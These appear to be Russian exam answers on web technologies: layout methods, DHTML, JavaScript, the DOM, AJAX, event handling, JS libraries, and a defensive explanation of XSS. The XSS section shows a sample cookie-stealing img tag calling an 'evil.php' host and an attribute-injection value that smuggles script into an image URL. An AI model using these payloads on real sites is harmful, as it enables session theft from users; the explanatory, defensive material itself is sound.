Ответы WEB 2

Долгая загрузка. Особенность таблиц такова, что пока последнее слово в самом низу таблицы не загрузится, на экране содержимое ячеек отображаться не будет. Браузеры используют такой подход, чтобы получить всю информацию о таблице для правильного форматирования ее содержимого. Но если таблица велика по высоте, может пройти достаточно много времени, прежде чем мы увидим нужную информацию. Существуют и способы обхода этого свойства, в частности, разбиение одной большой таблицы на несколько таблиц поменьше, а также использование стилевого свойства table-layout.

Громоздкий код. Таблицы содержат сложную иерархическую структуру вложенных тегов, которая увеличивает объем кода, и повышает сложность изменения отдельных параметров. В некоторых случаях для достижения желаемого результата приходится вкладывать одну таблицу внутрь другой, а это также влияет на размер кода, который не принимает непосредственного участия в отображении веб-страницы.

Плохая индексация поисковиками. За счет того, что текст располагается в отдельных ячейках таблицы, в коде он может находиться достаточно далеко друг от друга. Такая раздробленность информации, а также значительная вложенность тегов затрудняет правильное индексирование страницы поисковыми системами. Как результат документ не попадает в первую десятку выдачи запроса по ключевым словам, хотя вполне может и заслуживать это.

Несоответствие стандартам. В последнее время стандарты HTML и CSS прочно засели в умах вебразработчиков. Этому способствует развитие XHTML и XML, которые более «жестко» относятся к коду документа, появление новых версий браузеров, придерживающихся спецификации, и мода на верстку слоями. Что же говорит спецификация относительно таблиц? А говорит она, что таблицы в первую и последнюю очередь нужны для размещения табличных данных. Все остальные способы использования таблиц осуждаются.

Невозможность наложения слоев. Таблицы нельзя наложить друг на друга, что создает определенные трудности при верстке сложных по дизайну страниц.

Трудности при верстке сложных страниц. Табличная верстка страниц сложного дизайна приводит к появлению множества вложенных таблиц. Рост количества таблиц повышает шанс возникновения ошибок при верстке, увеличивает размер документов и снижает скорость загрузки файлов.

Блочная верстка (верстка слоями)

Ещё одним направлением в верстке является так называемая блочная верстка, реализуемая с помощью тегов <div>...</div>. Ее еще называют версткой при помощи слоев. Видимо это вызвано тем обстоятельством, что блоки <div>...</div> часто вложены друг в друга и образуют своего рода "слои". Но я буду дальше придерживаться термина "блочная верстка".

Блочная верстка постепенно заменяет табличную, хотя все еще не утихают споры о том, какой из этих двух методов предпочтительнее. Сразу следует отметить, что этот спор касается только того случая, когда таблицы используются для верстки. Если дело касается представления на странице табличных данных, то сомнений не возникает, ибо таблицы именно для этой цели и предназначены. И в этой роли они занимают свое законное место на страницах сайтов.

Преимущества и недостатки блочной верстки

Блочная верстка отлично связывается со стилями. Все свойства блоков задаются в таблице стилей, что позволяет более полно реализовать принцип разделения содержимого и оформления. Код при этом получается более компактным, чем при табличной верстке, к тому же поисковые системы его лучше индексируют.

Слои-блоки можно накладывать друг на друга, что облегчает расположение элементов на веб-странице. Более быстрая загрузка страниц с блочной версткой по сравнению со страницами табличной верстки.

Возможность расположения в коде значимых слоев (например, с текстовым содержимым) перед другими слоями, которые визуально находятся на странице выше значимого слоя. Это свойство облегчает индексацию страниц с блочной версткой поисковыми роботами.

Есть у блочной верстки и свои отрицательные стороны. При ее применении труднее обеспечить одинаковый вид страниц в разных браузерах, поскольку не все браузеры в равной мере придерживаются спецификаций и стандартов. Но браузеры прогрессируют в направлении полной поддержки различных спецификаций (HTML, CSS, DOM), так что есть надежда, что будущие версии браузеров будут унифицированы и один и тот же сайт станут отображать одинаково корректно.

7.Технология DHTML: Общие правила использования, синтаксис языка JavaScript.

Dynamic HTML — это набор технологий, работающих на стороне клиента и обеспечивающих динамическое формирование Веб-страницы в процессе ее загрузки, и динамическое изменение Веб-страницы в ответ на действия пользователя или другие события.

Для достижения перечисленных целей используются следующие методы:

•динамическое изменение атрибутов и стилей элементов, составляющих HTML-документ;

•динамическое извлечение данных из внешних источников и включение их в Веб-страницу;

•использование динамически загружаемых шрифтов;

•поддержка визуальных и мультимедийных эффектов при отображении страниц;

•механизмы сохранения информации на компьютере-клиенте между сессиями работы.

Все эти явно разнородные методы покоятся, в действительности, на двух китах. Первым из них является интеграция HTML-документа, каскадных стилей и сценариев клиента, основанная на объектной модели документа. Вторым — использование компонентного программирования, позволяющего нам встраивать однажды разработанные компоненты во вновь создаваемые документы.

Применение DHTML на практике выливается в динамически изменяемые цвета, анимированную графику, систему выпадающих меню и другие стандартные (для современных ОС, но не для Веба) элементы

пользовательского интерфейса, явно привлекательнее для пользователя, чем обычные статические страницы. Разумеется, при этом нужно иметь чувство меры и соблюдать общие принципы дизайна.

При умелом использовании DHTML приводит к уменьшению трафика. Он переносит основную тяжесть по формированию Веб-страниц с сервера на клиент.

Основным недостатком DHTML является то, что он не стандартизован, и под каждый из популярных Вебобозревателей нужно писать свою версию HTML-документа.

Динамической страницы требует программирования на сценарном языке, сопряженного с пониманием работы обозревателя на уровне генерации и обработки событий, владением основами пользовательского интерфейса и т. п.

Веб-обозреватель, работающий на компьютере-клиенте, обеспечивает среду, в которой СКРИПТ имеет доступ к объектам, которые представляют собой окна, меню, диалоги, текстовые области, фреймы, куки и ввод-вывод в Вебстраницу. Кроме того, обозреватель позволяет присоединить сценарии на языке JavaScript к таким событиям, как загрузка и выгрузка страниц и графических образов, нажатие клавиш и движение мыши, выбор текста и пересылка форм. При этом программный код сценариев только реагирует на события и поэтому не нуждается в главной программе. Набор объектов, предоставляемых обозревателем, известен под названием Document Object Model (DOM).

JavaScript - объектно-ориентированный язык сценариев, позволяющий включать в веб-страницы исполняемое содержимое (скрипты). JavaScript выполняется на стороне клиента и поддержка JavaScript включена практически во всех браузерах. С помощью этого языка вы сможете отойти от статики обычного HTML и создавать страницы с динамически изменяемым содержанием. В этом разделе приводится учебник по JavaScript в примерах. После изучения этих уроков вы сможете писать скрипты любой сложности.

Синтаксис JavaScript и Java сделан по образцу C и C++. Отметим основные правила:

Чувствительность к регистру. Все ключевые слова пишутся в нижнем регистре. Все переменные и названия функций пишутся точно так же, как и были определены (например, переменные Str и str являются разными переменными).

Пробелы, табуляция и перевод строки. Эти символы игнорируются в JavaScript, так что можно использовать их для форматирования кода с тем, чтобы его было удобно читать.

Символ точка с запятой (;). Все операторы должны быть разделены этим символом. Если оператор завершается переводом строки, то точку с запятой можно опустить. При этом нужно следить за тем, чтобы при разрыве строки одного оператора, новая строка не начиналась бы с самостоятельного оператора.

Комментарии. JavaScript игнорирует любой текст расположенный между символами /* и */. Также игнорируется текст начинающийся символами // и заканчивающийся концом строки.

Индентификаторы. Индентификаторами являются имена переменных, функций, а также меток. Индентификаторы образуются из любого количества букв ASCII, подчеркивания (_) и символа доллара ($). Первым символом не может быть цифра, а в версии JavaScript 1.0 не допускается использования и символа $.

Ключевые слова. Ключевые слова не могут использоваться в качестве индетификаторов. Ключевыми словами являются: break, case, continue, default, delete, do, else, export, false, for, function, if, import, in, new, null, return, switch, this, true, typeof, with.

8.Технология DHTML: Принципы объектной модели языка JavaScript.

При создании HTML-документов и JavaScript-программ необходимо учитывать структуру объектов. Все объекты можно разделить на три группы:

1 Объекты браузера ;

2 Внутренние, или встроенные, объекты языка JavaScript ;

3 Объекты, связанные с тегами языка HTML ;

Объектами браузера являются зависимые от браузера объекты: window (окно), location (местоположение) и history (история). Внутренние объекты включают простые типы данных, такие как строки (string), математические константы (math), дата (date) и другие.

Объекты, связанные с тегами HTML, соответствуют тегам, которые формируют текущий документ. Они включают такие элементы как гиперсвязи и формы.

Методы объектов С объектами связаны методы, которые позволяют управлять этими объектами, а также в некоторых случаях

менять их содержимое. Кроме того в языке JavaScript имеется возможность создавать свои методы объектов. При использовании метода объекта, нужно перед именем метода указать имя объекта к которому он принадлежит. Например, правильным обращением к методу document является выражение document.write(), а просто выражение write() приведет к ошибке.

Свойства объектов языка JavaScript

В объектно-ориентированном программировании используется также термин свойство. Свойство - это именованное значение, которое принадлежит объекту. Все стандартные объекты языка JS имеют свойства. Например, в прошлой главе мы использовали в одном из примеров свойство bgColor объекта document. данное свойство соответствует атрибуту bgColor тега <body> - цвет фона документа. Для обращения к свойству необходимо указать имена объекта и свойства, разделив их точкой. Каждый объект имеет собственный набор свойств. Набор свойств нового объекта можно задать при определении объекта. Однако, некоторые свойства объктов существуют только для чтения, и вы не можете их менять. В таких случаях можно получить только значения этих свойств. Как показывает практика, такие свойства изменять обычно без надобности и проблем в связи с этим не возникает.

Объекты браузеров

<h1>It's a header<h1>

<p align="center">And it is a content</p> </body>

<html>

Модель DOM должна интетпретировать этот код так:

Самый верхний элемент получившегося дерева – узел типа Document. Этот оъект должен присутствовать во всех DOM документах. В нём содержатся значения: типа документа, корневого элемента (в данном случае это нижестоящий элемент "HTML"). Следующий узел "HTML" – объект типа Element. Это основной тип узлов. В вышеприведенном примере к узлам Element также относятся: "Head", "Body", "Title", "H1", "P". Узел "DOM" принадлежит к текстовым (text). Объекты Element могут также содержать аттрибуты – узлы типа Attribute. Например:

<h1 align="left">It is a header</h1>

В данном примере элемент "H1" содержит дочерние элементы "align" типа Attribute и "It is a header" типа Text. Как уже вам известно все эти интерфейсы определены в DOM Level 1.

DOM Level 2.

Модель DOM Level 2 вводит использование стилевых таблиц, определяет модель сообщений и XML Namespaces. Одним из самых важных в DOM Level 2 было введение XML Namespaces. В сущности namespaces (пространства имен) используются для того чтобы разрешить многократный доступ к словарям XML при этом используясь в одном XML документе. Например вы хотите использовать описания книг находящиеся в XHTML документе. Каждая книга в своем описании использует элемент <title>. Но элемент <title> уже используется в заголовке документа XHTML. В таком случае будет тяжело сделать различие между этими элементами. Для решения этой проблемы, каждому элементу <title> надо присвоить идентификатор. Для этого служит URI (Unified Resource Indentefier). Итак для того чтобы присвоить какому либо элементу универсальный идентификатор нужно к тегу стоящему выше его по иерархии DOM добавить параметр вида "xmlns:indentefier="URI", где indentefier это имя индентификатора, а URI – сам индентификатор. Для его использования надо к используемуму элементу добавить спереди имя идентификатора indentefier и двоеточие.

<?xml version="1.0"?>

<html xmlns:xhtml="www.w3c.org/tr/xhtml" xmlns:books="www.piter-press.ru"> <xhtml:title>Это заголовок документа XHTML</xhtml:title>

<book><books:title>А здесь должен быть заголовок книжки</books:title></book> </html>

В даном случае в корневом теге <html> описано два пространства имен – xhtml и books. Теперь в этом документе можно использовать одни и те же элементы, но с разным значением, ставя перед ними имя пространства имен и двоеточие. Вы можете также применить пространство имен для всех элементов данного блока напрмер:

<xml xmlns:abc="http://www.allxml.h1.ru/abc">

<abc:element><subelement attr="value">Some text</subelement></abc:element> </xml>

...эквивалентно:

<xml xmlns:abc="http://www.allxml.h1.ru/abc">

<abc:element><abc:subelement abc:attr="value">Some text</abc:subelement></abc:element> </xml>

Использование пространств имен DOM 2 обеспечивается введением нескольких дополнительных функций. DOM 2 состоит из следующих групп взаимосвязанных интерфейсов:

Core — базовые интерфейсы, определяющие представление любого XML-документа в виде дерева; View — интерфейсы, описывающие возможные отображения документа;

Event — интерфейсы, определяющие порядок генерации и обработки событий; Style — интерфейсы, определяющие применение к документам таблиц стилей;

Traversal & Range — интерфейсы, определяющие прохождение дерева документа и манипулирование областями его содержимого;

HTML — интерфейсы, определяющие представление HTML-документа в виде дерева.

DOM Level 3

...На данный момент это последняя версия DOM. Спецификация этой модели состоит из трех частей: DOM3ASLS, DOM3-Core, DOM3-Events, DOM3-XPath.

DOM ASLS (Abstract Schemas and Load and Save specification) – эта спецификация определяет схемы DTD и XML Schemas, а также методы Load and Save. Что такое DTD и XML Schemas вы можете узнать в документах по XML. Методы Load and Save, как можно догадаться из названия должны загружать и сохранять содержимое DOM-модели. Спецификация DOM3 Events – описывает модель сообщений и в основном базируется на DOM2 Events. Особенного внимания заслуживает спецификация DOM3-XPath. Эта спецификация определяет простой набор интерфейсов для доступа к дереву DOM через XPath 1.0.

10.Технология DHTML. Методология программирования AJAX.

Dynamic HTML или DHTML — это способ создания интерактивного веб-сайта, использующий сочетание статичного языка разметки HTML, встраиваемого (и выполняемого на стороне клиента) скриптового языка JavaScript, CSS (каскадных таблиц стилей) и DOM (объектной модели документа).

Он может быть использован для создания приложения в веб-браузере: например для более простой навигации или для придания интерактивности форм. DHTML может быть использован для динамического перетаскивания элементов по экрану. Также он может служить как инструмент для создания основанных на браузере видеоигр.

DHTML приложения, которые вполне автономны в браузере, без серверной поддержки, такой как база данных, иногда вынуждены обращаться к Single Page Applications, или SPA.

AJAX — это модное название для набора техник разработки веб-интерфейсов, позволяющих делать динамические запросы к серверу без видимой перезагрузки веб-страницы: пользователь не замечает, когда его браузер запрашивает данные.

AJAX обеспечивает динамичность и асинхронность web-разработок при отсутствии необходимости обновления страниц. Это технология-конгломерат, которая обеспечивает динамическое и асинхронное поведение, где исключается обновление страниц. Посредством AJAX пользователь может взаимодействовать с web-страницами, подобно работе с клиентами с более богатыми возможностями.

AJAX — не самостоятельная технология, а концепция использования нескольких смежных технологий. AJAX базируется на двух основных принципах:

использование технологии динамического обращения к серверу «на лету», без перезагрузки всей страницы полностью, например:

с использованием XMLHttpRequest;

через динамическое создание дочерних фреймов; через динамическое создание тега <script>.

через динамическое создание тега <img>, как это реализовано в google analytics. использование DHTML для динамического изменения содержания страницы;

Действия с интерфейсом преобразуются в операции с элементами DOM (англ. Document Object Model), с помощью которых обрабатываются данные, доступные пользователю, в результате чего представление их изменяется. Здесь же производится обработка перемещений и щелчков мышью, а также нажатий клавиш. Каскадные таблицы стилей, или CSS (англ. Cascading Style Sheets), обеспечивают согласованный внешний вид элементов приложения и упрощают обращение к DOM-объектам. Объект XMLHttpRequest (или подобные механизмы) используется для асинхронного взаимодействия с сервером, обработки запросов пользователя и загрузки в процессе работы необходимых данных.

Три из этих четырех технологий — CSS, DOM и JavaScript — составляют DHTML (англ. Dynamic HTML).

В качестве формата передачи данных могут использоваться фрагменты простого текста, HTML-кода, JSON или

XML.

var xmlhttp = getXmlHttp() xmlhttp.open('GET', '/xhr/test.html', true); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4) {

if(xmlhttp.status == 200) { alert(xmlhttp.responseText);

}

}

};

xmlhttp.send(null);

11.Технология DHTML. Событийная модель программирования, DOM, XML – подходы.

В объектной модели DHTML с каждым элементом страницы можно связать определенное действие пользователя: щелчок кнопкой мыши, нажатие клавиши клавиатуры, перемещение в области элемента курсора мыши и т. д. Эта технология основана на фундаментальном понятии события в операционных системах с графическим интерфейсом пользователя. Каждое действие пользователя является причиной возникновения сообщения в операционной системе, которые представляются объектами в объектной модели DHTML. Свойства объектов-событий можно использовать во встраиваемых сценариях для получения информации о событии. При возникновении любого события динамически создается свойство event объекта window, входящего в объектную

модель и представляющего окно браузера. Это свойство и является объектом, соответствующим сгенерированному событию.

Цикл жизни события Любое событие имеет свой "жизненный" цикл: от момента возникновения действия или условия,

являющегося причиной генерирования события, до выполнения последнего оператора обработчика события или финальных действий браузера. Цикл жизни любого типичного события включает следующие этапы:

Происходит действие пользователя или возникает условие, которое возбуждает событие. Тотчас же корректируется объект event, чтобы отразить параметры возникшего события. Событие генерируется — это и есть истинное сообщение о возникшем событии.

Вызывается обработчик событий элемента-источника события, который выполняет определенные программистом действия и завершает свою работу.

Событие передается вверх по иерархии объектов (bubble up) и вызывается обработчик события объекта, являющегося родителем объекта-источника события. Это "всплытие" вверх по иерархии объектов продолжается, пока не будет достигнут самый верхний объект иерархии — объект window, или обработчик события какого-либо объекта не аннулирует событие.

Выполняются заключительные действия по умолчанию, если таковые определены, но при условии, что событие не было аннулировано.

Если для элемента-источника события не определен обработчик событий, то в иерархии объектов определяется его родитель, и обработчик событий родителя выполняет соответствующие действия по обработке события. и так происходит до корневого объекта иерархии.

Какие удобства предоставляет подобная технология обработки событий? Прежде всего, нет необходимости для каждого элемента писать процедуру обработки события и присоединять ее к нему. Достаточно написать одну процедуру для элемента-родителя, и она будет обрабатывать события, возбуждаемые всеми порожденными родителем элементами. Это позволяет централизованно обрабатывать наиболее часто возникающие события, и, как результат, требует меньше усилий и времени для написания и поддержки кода процедур обработки событий.

Пример демонстрирует технику передачи события вверх по иерархии объектов. В нем щелчки кнопкой мыши на всех элементах страницы обрабатываются централизованно обработчиком события элемента <BODY>, который является родителем всех элементов страницы.

Пример. Передача обработки события родителю <HTML>

<HEAD><ТIТLЕ>Всплывание события</ТIТLЕ> </HEAD>

<BODY ID='body' onclick="alert('Не надо щелкать!');"> <Н1 ID='head1'>Привет!</H1>

<Р ID='раrаg1'>Это простой пример, <В ID='bold1'>ну очень простой</В> пример.

</BODY>

</HTML>

Щелчок на любом элементе документа приводит к отображению диалогового окна предупреждений из процедуры обработки события click объекта body.

Если к какому-нибудь элементу добавить собственный обработчик событий, то будут выполнены две процедуры: самого элемента и элемента родителя. Если элемент расположен достаточно глубоко в иерархии объектов, и каждый элемент, расположенный выше него, имеет также собственный обработчик событий, то неужели событие будет обрабатываться всеми обработчиками? Да, именно это и произойдет, если только какой-то обработчик не аннулирует "всплывающее" вверх по иерархии событие. Объект event имеет свойство cancelBubble, которое позволяет аннулировать событие, если установить его значение равным true. После этого соответствующее событие не существует, и обработчики этого события для всех, расположенных выше элементов, не вызываются. В примере 10.4 обработчик щелчка мыши выделенного элемента <в> аннулирует данное событие. Это приводит к тому, что при щелчке на нем никакого диалогового окна с сообщением не отображается.

Объект event

Как уже отмечалось, объект event создается автоматически всякий раз, когда возникает какое-либо событие. Этот объект не зависит от используемого языка создания сценария, и его использование в процедурах обработки событий для получения информации о сгенерированном событии является предпочтительным способом получения достоверной информации о событии.

Каждое событие характеризуется параметрами, которые передаются в сценарий через свойства объекта event. Существуют параметры, общие для всех типов событий (например, координаты курсора мыши в окне браузера) и специфические для определенного события (например, код нажатой клавиши для событий клавиатуры). Свойства объекта event, как и сам он, являются динамическими и создаются в зависимости от типа произошедшего события. При описании свойства, если не оговорено противное, подразумевается, что оно является общим для всех типов событий.

Свойство srcEiement определяет элемент документа, явившийся источником события. Оно может быть полезным при централизованной обработке событий элементом, расположенным выше в иерархии объектов документа истинного "виновника" события, и, в зависимости от типа элемента, программа-обработчик может предпринять соответствующие действия.

Важное свойство cancelBubble, аннулирующее событие и прекращающее передачу его на обработку вверх по иерархии объектов, рассмотрено немного ранее в этом же разделе.

Свойство returnvalue является булевым и возвращает значение true или false после завершения выполнения процедуры обработки события. При передаче события вверх по иерархии значение этого свойства можно использовать для альтернативной обработки события. Кроме того, если в обработчике события элемента, для которого определены действия по умолчанию, это свойство устанавливается равным false, то это отменяет выполнение действий по умолчанию. Одним из таких элементов является тег <А>, действием по умолчанию которого является переход по ссылке, задаваемой параметром HREF.

По значениям свойств aitKey, ctriKey и shiftKey элемента-источника события определяется, была ли нажата, соответственно, клавиша <Alt>, <Ctrl> или <Shift> в момент возникновения события. Значение свойства равно true, если клавиша была нажата, и false — в противном случае.

12.Технология DHTML. Различные подходы изменения web-страницы.

13.JavaScript – библиотеки. Обзор, достоинства, недостатки. Примеры.

Библиотека JavaScript — сборник классов и/или функций на языке JavaScript.

Язык JavaScript, изначально разработанный Netscape (а затем развиваемый Mozilla), долгое время

использовался в сети на многих сайтах, но широкую популярность получил с приходом Веб 2.0 — периода развития компьютерных систем, в котором JavaScript совместно с различными диалектами XML стал активно использоваться в разработке пользовательских интерфейсов как веб-приложений, так и настольных приложений. JavaScript в связке с CSS используется для создания динамических сайтов, более доступных, чем основанные на Flash альтернативы.

С увеличением популярности JavaScript, простота создания динамических элементов пользовательского интерфейса стала играть ключевую роль в веб-разработке. Этим обусловлен лавинообразный характер появления различных библиотек JavaScript, таких как Ext и Dojo. С другой стороны, одним из последствий войны браузеров стала разница в реализации объектной модели документа и это обусловило необходимость затрачивать дополнительные усилия для реализации корректной работы различных браузеров. Данное обстоятельство обусловило появление библиотек JavaScript, предоставляющих кросс-браузерный интерфейс к методам DOM, таких как Prototype, script.aculo.us или jQuery.

Удобство использования библиотек JavaScript привело к тому, что Microsoft, Yahoo! и другие крупные ИТкомпании разрабатывают свои собственные основанные на JavaScript библиотеки элементов пользовательского интерфейса, встраиваемые в веб-приложения, разрабатываемые этими компаниями.

Более того, некоторые библиотеки JavaScript позволяют упростить взаимодействие JavaScript с другими языками, такими как CSS, PHP, Ruby и Java. Это позволяет упростить запуск приложений JavaScript с приложениями, написанными на других языках программирования..

jQuery — библиотека JavaScript, фокусирующаяся на взаимодействии JavaScript и HTML. Библиотека jQuery помогает легко получать доступ к любому элементу DOM, обращаться к атрибутам и содержимому элементов DOM, манипулировать ими. Также библиотека jQuery предоставляет удобный API для работы с AJAX.

Преимущества jQuery :

•Облегчает работу с моделью документа DOM.

•Много всевозможных эффектов

•Выполнение Ajax запросов

•Кросс – браузерная совместимость

•Подключая модули, Вы можете нарастить функционал и модульность jQuery

•Простота в использовании

Недоработки jQuery :

Производительность работы. Чистый JavaScript работает намного быстрее (в умелых руках), но говорить о быстрой работе не очень правильно так как растет производительность компьютеров пользователей и сами разработчики всё время повышают скорость самого фреймвёрка.Это есть размер библиотеки. Размер библиотеки jQuery около 19 кБ. Это не очень и много, но все же. Снова же, это очень спорный недостаток при современной скорости интернета, или при пользовании CDN (в последующей статье мы поговорим об этом, когда остановимся на возможных вариантах для подключения библиотеки jQuery). Как вы видите минусов не так и много.

И тем не менее, говорить, что лучшая библиотека JavaScript – это jQuery я не стану. Да, она является одной из лучших если вы желаете управлять DOM или применять Ajax-запросы, а вот в других параметрах jQuery уступает. А значит выбирать нужно такую библиотеку JavaScript, которая будет больше подходить Вам для ваших задач.

Mootools 1.2 (My Object Oriented Tools) – это легкая, но мощная библиотека JavaScript, предназначенная для облегчения интерактивного создания веб страниц с помощью JavaScript. В некотором смысле можно сказать, что многие действия, которые умеет Mootools, можно рассматривать как расширения CSS (Cascade Style Sheet – Каскадные таблицы стилей). Например, с помощью CSS можно изменить свойство какого-либо элемента при наведении курсора на него (свойство :hover), тогда как JavaScript распознает даже больше событий, спровоцированных пользователем (клик – «click», наведение курсором – «mouseover», нажатие различных клавиш и

т.д.), а библиотека Mootools делает распознавание этих событий настолько простым, что этим просто невозможно не воспользоваться!

Ко всему прочему, у Mootools в запасе есть уйма интересных расширений, которые позволят вам не только изменять «на лету» свойства элементов (таких как свойство CSS :hover), но которые также позволяют вам изменять форму объектов, анимировать их движения и множество других возможностей.

Воснову Mootools заложены основные функции библиотеки, которые упрощают выполнение основных задач,

атакже усиливают возможности уже существующих (остановимся более подробно на этом позже). Возможности, указанные в списке ниже являются только лишь примеры некоторых возможностей Mootools, которые не заменяют

чтения полной документации по Mootools.

•Поиск значения (возвращает false, если значение не существует или 0, если существует) – $chk(значение);

•Возвращает целое число из указанного диапазона – $random (мин, макс);

•Позволяет с легкостью определять версию браузеров, их движком и возможностей.

Native

Эта часть библиотеки также содержит некоторые основные инструменты, которые позволяют манипулировать массивами (по сути списком значений или объектов), функциями, числами, строками, потоками данных и событиями. Вот некоторые из инструментов, представленных в части Native:

•Создавать скрипты, которые бы применяли какие-либо действия к каждому объекту массива – .each();

•Выбирать последний объект массива – getLast();

•Создавать событие, которое бы происходило каждые Х милисекунд – .periodical();

•Округлять дроби – .round();

•Конвертировать цвета из RGB в шестнадцетиричную систему исчисления – .rgbToHex().

Класс

Класс в JavaScript (в отличие от класса CSS) – это объект с некой функциональностью многоразового использования.

Элемент

Классы элементов предоставляют, вероятно, самый полезный функционал библиотеки Mootools. С помощью этих инструментов можно выбирать элементы Dom-а, манипулировать их свойствами и положением на странице, изменять их стиль CSS и многое другое. Вот, что можно делать с помощью некоторых из инструментов Mootools:

•Выбирать первый элемент DOM-а определенного типа, с определенным ID или определенного класса –

.getElement();

•Выбирать все элементы DOM-а имеющие определенный тип, определенный ID или определенный класс –

.getElements();

•Добавить определенный класс выбранному элементу – .addClass();

•Узнать значение свойства какого-либо элемента – .getProperty();

•Изменять или устанавливать значение свойства какого-либо элемента – .setProperty();

•Узнать значение свойства стиля какого-либо элемента – .getStyle();

•Изменить или установить значение свойства стиля какого-либо элемента – .setStyle();

•Узнать координаты элемента – .getCoordinates().

Утилиты

Утилиты Mootools предоставляют еще более удобные критерии поиска элементов на странице, включая событие domready, предоставляет дополнительные инструменты для запросов AJAX, упрощает работу с кукисами и даже включает в себя некоторый функционал, позволяющий объединить JavaScipt и ActionScript.

Спец. эффекты FX

Это, пожалуй, та часть Mootools, которая доставляет больше всего удовольствия и радости разработчикам. С помощью эффектов FX можно создавать эффекты передвижения, изменения формы, а также другие эффекты, которые добавляют анимации вашим объектам и элементам DOM.

Плагины Mootools расширяют его основную функциональность, позволяя с легкостью манипулировать фнукиональность пользовательского интерфейса. Список плагинов Mootools включает в себя:

вызова некоторых функций языка до сложных методов обращения к XMLHttpRequest. Ниже приведены некоторые примеры.

Функция $()

Для обращения к DOM элементу HTML страницы обычно используется функция document.getElementById: document.getElementById("id_of_element")

Функция $() уменьшает код до: $("id_of_element")

Но в отличие от функции DOM, функции $() можно передавать более одного аргумента и функция вернет массив (Array) объектов со всеми соответствующими элементами:

var ar = $('id_1', 'id_2', 'id_3'); for (i=0; i<ar.length; i++)

{

alert(ar[i].innerHTML);

}

Объектно-ориентированное программирование

Prototype также добавляет поддержку более традиционного объектно-ориентированного программирования. Для создания нового класса используется метод Class.create(). Классу присваивается прототип prototype,

который выступает в качестве основы для каждого экземпляра класса. Старые классы могут быть расширены новыми с помощью Object.extend.

14.Межсайтовый скриптинг XSS.

XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующих сокращение «CSS».

Сейчас XSS составляют около 15 % всех обнаруженных уязвимостей[1]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTPCookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора). На популярном сайте скрипт может устроить DoS-атакy.

Классификация По механизму исполнения атаки

Условно XSS можно разделить на активные и пассивные. Пассивные

Пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке). Их также называют первым типом XSS.

Активные

При активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы заражённого сайта. Их также называют вторым типом XSS.

Скриптинг через DOM

По каналам внедрения скрипта

Отсутствие фильтрации HTML-тегов в сообщениях пользователей

Некоторые форумы позволяют пользователю использовать HTML-теги для форматирования текста. Если отсутствует должный уровень фильтрации, злонамеренный пользователь может вставить такие теги <script>, который будет отправлять хакеру HTTP-Cookie пользователей, открывших некоторую тему форума или незаметно открывать произвольную ссылку в контексте браузера пользователя.

Подробнее:

§Злоумышленник, пользуясь имеющимися на сайте средствами наподобие «отправить комментарий» посылает комментарий, содержащий тег <script>.

§Написанный злоумышленником скрипт имеет доступ к пользовательским HTTP-Cookie. Скрипт ворует их, отправляя их на другой сайт (например, создав тег <img src="http://example.com/evil.php?cookie=1234">).

Для защиты от этого вида атак следует удалить все теги, кроме входящих в разрешённый список. Отсутствие фильтрации атрибутов и их значений разрешённых тегов

Данная уязвимость, в отличие от предыдущей, не специфична для html-форматирования сообщений пользователя. Наиболее ярким примером её является тег img. Например: подставив в качестве URLизображения

http://example.com/img.png" onmouseover="javascript:DoSomething();, мы «протаскиваем» в тег пользовательский скрипт. В частности, подобная уязвимость была обнаружена в известном форумном движке phpBB в 2002 году.

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRFатаку.

Для защиты от уязвимостей данного типа требуется жёсткая фильтрация, как названий атрибутов, так и их значений. Также следует запретить использование протоколов javascript: и data: во всех ссылках.

Такой же способ может быть использован путем вставки на странице изображения, сделанного через PHPфайл, содержащий как само изображение, так и вредоносный код.

Подмена кодировки в заголовке страницы

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег title расположен до тега meta и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ".

Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей.

Прочие

Возможно использование XSS атаки совместно с внедрением SQL-кода.

При выполнении кода с использованием разных подходов - XML или DOM - есть небольшие различия. Вариант

сиспользованием DOM чуть более гибкий по нескольким причинам:

•одному и тому же объекту можно добавлять несколько обработчиков с помощью addEventListener();

•если третий аргумент addEventListener() - true, обработчик может быть запущен в фазе перехвата, что невозможно сделать через XML;

•обработчики можно удалять с помощью функции removeEventListener(). Если вы задали обработчик в XUL, то вы сможете его там только заменить, но не удалить;

•при использовании DOM обработчики событий могут быть вынесены за пределы XML-содержимого. Поэтому

их можно помещать в отдельный .js-файл.

Но и у XML-подхода есть одно преимущество: можно использовать фрагмент скрипта меньший, чем целая функция. Эта возможность может быть полезной для HTML, но в случае XUL, где рекомендуется структурированное программирование, пользы в этом не так уж много. Если XML-файлу предстоит долгая жизнь, обработчики событий в атрибутах указывать не рекомендуется.

15.Протокол HTTP. Структура HTTP-запроса.

HTTP - это протокол высокого уровня (а именно, уровня приложений), обеспечивающий необходимую скорость передачи данных, требующуюся для распределенных информационных систем гипермедиа. HTTP используется проектом World Wide Web с 1990 года.

